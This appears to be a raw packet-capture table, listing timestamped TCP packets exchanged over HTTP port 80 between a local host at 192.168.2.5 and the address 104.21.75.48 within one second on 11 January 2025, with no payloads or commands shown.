Jan 11, 2025 06:50:57.185041904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185087919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185111046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185162067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185188055 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185234070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185256004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185305119 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185327053 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185384035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185412884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185461044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185477018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185534000 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185563087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185607910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185631990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185678959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185702085 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185748100 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185770035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185815096 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185839891 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185888052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185914040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.185971022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.185993910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186052084 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186064959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186094999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186127901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186177015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186197996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186242104 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186285019 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186332941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186356068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186413050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186440945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186489105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186537027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186558962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186594963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186613083 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186649084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186674118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186722040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186747074 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186809063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186835051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186883926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.186932087 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.186953068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187002897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187021971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187067032 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187091112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187139988 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187186956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187212944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187259912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187305927 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187382936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187453985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187504053 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187524080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187572956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187589884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187637091 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187659979 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187706947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187731028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187779903 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187797070 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187844992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187864065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187910080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.187961102 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.187978029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188029051 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188049078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188096046 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188117027 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188163996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188189983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188246012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188261032 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188293934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188329935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188389063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188404083 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188432932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188473940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188523054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188577890 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188591957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188621998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188653946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188695908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.188719034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.188761950 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.194920063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195018053 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195072889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195106030 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195132017 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195188046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195231915 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195260048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195307016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195385933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195432901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195456982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195499897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195525885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195573092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195595980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195641994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195662022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195717096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195730925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195759058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195797920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195837021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195884943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.195930958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.195956945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196036100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196088076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196101904 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196131945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196163893 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196222067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196271896 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196295977 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196341991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196363926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196413994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196433067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196480989 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196523905 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196564913 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196613073 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196667910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196685076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196739912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196774006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196827888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196851015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196876049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.196913958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.196960926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197002888 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197020054 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197045088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197088957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197130919 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197182894 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197206020 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197240114 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197269917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197304010 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197345972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197398901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197448969 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197470903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197515965 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197537899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197585106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197606087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197652102 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197673082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197719097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197742939 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197786093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197830915 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197876930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197899103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.197942019 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.197983980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198024988 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198051929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198097944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198120117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198174000 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198199034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198241949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198263884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198311090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198343992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198363066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198385000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198429108 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198453903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198498011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198524952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198569059 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198592901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198637962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198661089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198712111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198734045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198774099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198801994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198843956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198868036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198914051 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.198935986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.198978901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.199003935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.199047089 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271486998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271567106 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271630049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271680117 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271706104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271749973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271790981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271836042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271861076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271904945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.271946907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.271996021 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272044897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272064924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272098064 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272128105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272149086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272171021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272227049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272283077 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272298098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272325993 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272365093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272408009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272437096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272478104 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272516966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272577047 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272604942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272659063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272702932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272727013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272773027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272794962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272841930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272860050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272905111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272928953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.272972107 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.272998095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273042917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273065090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273109913 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273129940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273171902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273199081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273247957 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273292065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273314953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273358107 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273377895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273423910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273442984 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273488045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273509026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273551941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273577929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273619890 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.273643970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.273690939 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421345949 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421394110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421406031 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421418905 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421447992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421458960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421468973 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421478033 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421498060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421513081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421519995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421538115 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421546936 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421561003 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421577930 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421586990 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421605110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421622038 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421642065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421653032 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421675920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421694040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421714067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421787024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421801090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421819925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421824932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421833992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421844959 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421871901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421930075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421941996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421962976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421971083 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.421983957 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.421999931 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422009945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422024965 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422032118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422049046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422061920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422071934 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422084093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422095060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422101974 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422122002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422131062 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422152996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422161102 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422177076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422184944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422194958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422205925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422235966 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422440052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422449112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422475100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422482014 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422489882 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422499895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422513962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422523022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422533035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422547102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422558069 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422574997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422583103 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:57.422599077 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:57.422609091 CET	49704	80	192.168.2.5	104.21.75.48
